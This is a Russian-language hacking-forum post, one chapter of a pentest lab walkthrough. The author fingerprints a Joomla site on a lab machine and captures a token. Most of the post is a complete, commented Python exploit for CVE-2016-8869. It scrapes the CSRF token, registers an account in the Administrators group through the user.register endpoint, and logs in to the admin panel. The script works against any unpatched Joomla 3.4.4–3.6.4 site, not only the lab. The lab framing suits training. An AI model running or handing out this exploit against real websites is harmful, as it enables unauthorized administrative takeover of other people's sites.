HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 12.01.2017, 03:59
<~DarkNode~>
Новичок
Регистрация: 20.10.2016
Сообщений: 0
С нами: 5033900

Репутация: 0
По умолчанию

Глава 9
Предыдущая глава
Следующая глава
Оглавление



Доброго времени суток колеги) Сегодня продолжим наш завлекательный пентест и возьмем очередной токен от машины на топологии сети с адресом 192.168.0.4 (Blog):



С этой статьи вы научитесь пользоваться публичными уязвимостями известных CMS (систем управления контентом) И конкретно в нашем примере будем атаковать одну из уязвимостей Joomla
Ну что же начнем:
Пробросим порт:



Откроем в браузере наш сайт и сразу же в глаза бросается иконка от Joomla CMS




Что бы удостоверится глянем исходный код страницы:



Видим и вправду Joomla. Еще так же можно узнать CMS(но не всегда) с помощью консольной утилиты whatweb:



В метасплоите сканером версий Joomla CMS попробуем узнать версию СMS:



Следующим этапом будет поиск возможных уязвимостей или експлойтов под данную версию,и первая же ссылка в гугле выдает нам свежие експлойты за 2016 год:



Но тут версия уязвимой CMS меньше... И по этому загрузка шелла в этой версии не отработает что было предусмотрено этим експлойтом,но учетная запись администратора с легкостью из-за отсутствие проверки входных данных в Joomla_URL/index.php/component/users/?task=user.register
что дает возможность злоумышленнику отослал форму регистрацию POST запросом создать учетную запись администратора.

После недавнего обновления в метасплоите появился этот эксплойт. И можно воспользоватся и ним,и его легко можно увидеть выполнить поиск по ключевому слову Joomla в метасплоите:



Но я хочу показать как сделал его я.
Я взял кусок кода с утилиты Joomra на гитхабе и немного изменил , попытаюсь прокомментировать этот код скрипта:

Python:


Код:
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import
sys
#Стандартная Библиотека,будет используватся для вывода на экран банера
import
re
#Стандартная Библиотека,используется для регулярных выражений,будет задействована при поиске CSRF токена в HTML коде страницы
import
argparse
#Стандартная Библиотека,будет использоватся для создания парсера опций нашего скрипта
import
random
#Стандартная Библиотека,будет задействована для вывода на экран банера
import
time
#Стандартная Библиотека,будет задействована для вывода на экран банера
import
requests
#Стандартная Библиотека,будет задействована для создание HTTP запросов
from
termcolor
import
colored
#Нестандартная библиотека,будет задействованна для разкраски вывода,ставиться командой pip install termolor
#Функция для создание парсера опций нашего скрипта
def
parse_options
(
)
:
parser
=
argparse
.
ArgumentParser
(
description
=
'Joomla 3.4.4 - 3.6.4 CVE-2016-8869 Exploit от DarkNode для античат '
,
epilog
=
"Контакная ифнормация:\n http://vk.com/corpofhack"
)
parser
.
add_argument
(
'url'
,
help
=
'Адрес URL для Joomla CMS'
)
parser
.
add_argument
(
'-u'
,
'--username'
,
default
=
'codeby'
,
help
=
'Логин для регистрации  Администратора'
)
parser
.
add_argument
(
'-p'
,
'--password'
,
default
=
'1337'
,
help
=
'Пароль для регистрации Администратора'
)
parser
.
add_argument
(
'-e'
,
'--email'
,
default
=
'DarkNode@codeby.net'
,
help
=
'Ваш Email'
)
return
parser
.
parse_args
(
)
#Функция для извлечения CSRF токена в HTML странице
def
extract_token
(
resp
)
:
match
=
re
.
search
(
r'name="([a-f0-9]{32})" value="1"'
,
resp
.
text
,
re
.
S
)
if
match
is
None
:
print
(
"[!] Не смог найти CSRF token"
)
return
None
return
match
.
group
(
1
)
#Функция для создания необзодимого пост запроса и доставки его на веб сервер
def
create_user
(
options
,
sess
,
token
)
:
#Принимает на вход опции взятые из парсера, открытую сессию,и токен
"""
    Создание учетной записи администратора через CVE
    """
data
=
{
# Пользовательский обьект
'user[name]'
:
options
.
username
,
'user[username]'
:
options
.
username
,
'user[password1]'
:
options
.
password
,
'user[password2]'
:
options
.
password
,
'user[email1]'
:
options
.
email
,
'user[email2]'
:
options
.
email
,
'user[groups][]'
:
'7'
,
# 7 = Группа Администраторы
'user[activation]'
:
'0'
,
'user[block]'
:
'0'
,
# Данные формы
'form[name]'
:
options
.
username
,
'form[username]'
:
options
.
username
,
'form[password1]'
:
options
.
password
,
'form[password2]'
:
options
.
password
,
'form[email1]'
:
options
.
email
,
'form[email2]'
:
options
.
email
,
'form[option]'
:
'com_users'
,
'form[task]'
:
'user.register'
,
token
:
'1'
,
}
#Дальше идет сам процес взлома,данные для регистрации пользователя отсылаются на сервер.
return
sess
.
post
(
options
.
url
+
"/index.php/component/users/?task=user.register"
,
data
=
data
,
allow_redirects
=
False
,
verify
=
False
)
#Функция которая пытается залогинится от админа
def
try_admin_login
(
options
,
sess
)
:
admin_url
=
options
.
url
+
'/administrator/index.php'
print
(
'[...] Получение токена для логина Администратора'
)
resp
=
sess
.
get
(
admin_url
,
verify
=
False
)
token
=
extract_token
(
resp
)
if
not
token
:
return
False
print
(
'[*] Входим в админ панель...'
)
data
=
{
'username'
:
options
.
username
,
'passwd'
:
options
.
password
,
'task'
:
'login'
,
token
:
'1'
}
resp
=
sess
.
post
(
admin_url
,
data
=
data
,
verify
=
False
)
if
'task=profile.edit'
not
in
resp
.
text
:
print
(
'[!] Попытка входа под Администратором неудачная!'
)
return
print
(
colored
(
'[+] Успешный вход в админ панель!'
,
'cyan'
)
)
return
True
#Функция  самого хека джумлы
def
pwn_joomla
(
options
)
:
sess
=
requests
.
Session
(
)
print
(
"[...] Получение CSRF токена"
)
resp
=
sess
.
get
(
options
.
url
+
"/index.php/component/users/?view=login"
,
verify
=
False
)
token
=
extract_token
(
resp
)
if
not
token
:
return
False
print
colored
(
"[!] Создание учетной записи Администратора"
,
"red"
)
resp
=
create_user
(
options
,
sess
,
token
)
can_login
=
try_admin_login
(
options
,
sess
)
if
not
can_login
:
# TODO: periodically check if we can login as admin
print
(
"[-] Проверьте почту для активации аккаунта"
)
try
:
resp
=
raw_input
(
'[?] Нажмите любую клавиши после активации аккаунта'
)
except
KeyboardInterrupt
:
return
False
can_login
=
try_admin_login
(
options
,
sess
)
if
not
can_login
:
return
False
print
colored
(
"[+] УСПЕШНО CОЗДАНА УЧЕТНАЯ ЗАПИСЬ АДМИНИСТРАТОРА[+]"
,
"green"
)
print
"Используйте логин: "
+
colored
(
options
.
username
,
"yellow"
)
+
" и пароль: "
+
colored
(
options
.
password
,
"yellow"
)
+
" для входа в Панель Администратора"
#Вывод банера
def
print_logo
(
)
:
clear
=
"\x1b[0m"
colors
=
[
31
,
32
,
33
,
34
,
35
,
36
]
logo
=
"""
=====================================================================

  ####   ####  #####  ###### #####  #   #     #    # ###### #####
#    # #    # #    # #      #    #  # #      ##   # #        #
#      #    # #    # #####  #####    #       # #  # #####    #
#      #    # #    # #      #    #   #   ### #  # # #        #
#    # #    # #    # #      #    #   #   ### #   ## #        #
####   ####  #####  ###### #####    #   ### #    # ######   #
              ____             _    _   _           _  
              |  _ \  __ _ _ __| | _| \ | | ___   __| | ___
              | | | |/ _` | '__| |/ /  \| |/ _ \ / _` |/ _ \
              | |_| | (_| | |  |   <| |\  | (_) | (_| |  __/
              |____/ \__,_|_|  |_|\_\_| \_|\___/ \__,_|\___|
              **********************************************           
              +-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+-+-+-+
              |J|o|o|m|l|a| |C|M|S| |e|x|p|l|o|i|t|
              +-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+-+-+-+
              Joomla 3.4.4 - 3.6.4 (CVE-2016-8869)
                            contacts:
          https://codeby.net/tags/darknode-tutorial/
=====================================================================
"""
for
line
in
logo
.
split
(
"\n"
)
:
sys
.
stdout
.
write
(
"\x1b[1;%dm%s%s\n"
%
(
random
.
choice
(
colors
)
,
line
,
clear
)
)
time
.
sleep
(
0.05
)
#Главная функция
def
main
(
base_url
)
:
options
=
parse_options
(
)
print_logo
(
)
if
pwn_joomla
(
options
)
:
print
(
"[+] УСПЕХ!!!:"
,
options
.
url
)
else
:
pass
if
__name__
==
"__main__"
:
sys
.
exit
(
main
(
"http://127.0.0.1/"
)
)
Надеюсь тут понятно более мение,если что , спрашивайте - попытаюсь ответить в комментариях
Ну а дальше профит:





Входим в админку...Смотрим ,есть статья одна не опубликованная



Смотрим Alias - там что то похоже на токен)



Проверяем:



Токен взят)
Вот видосик:

Предыдущая глава
Следующая глава
Оглавление
 
Ответить с цитированием
 



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.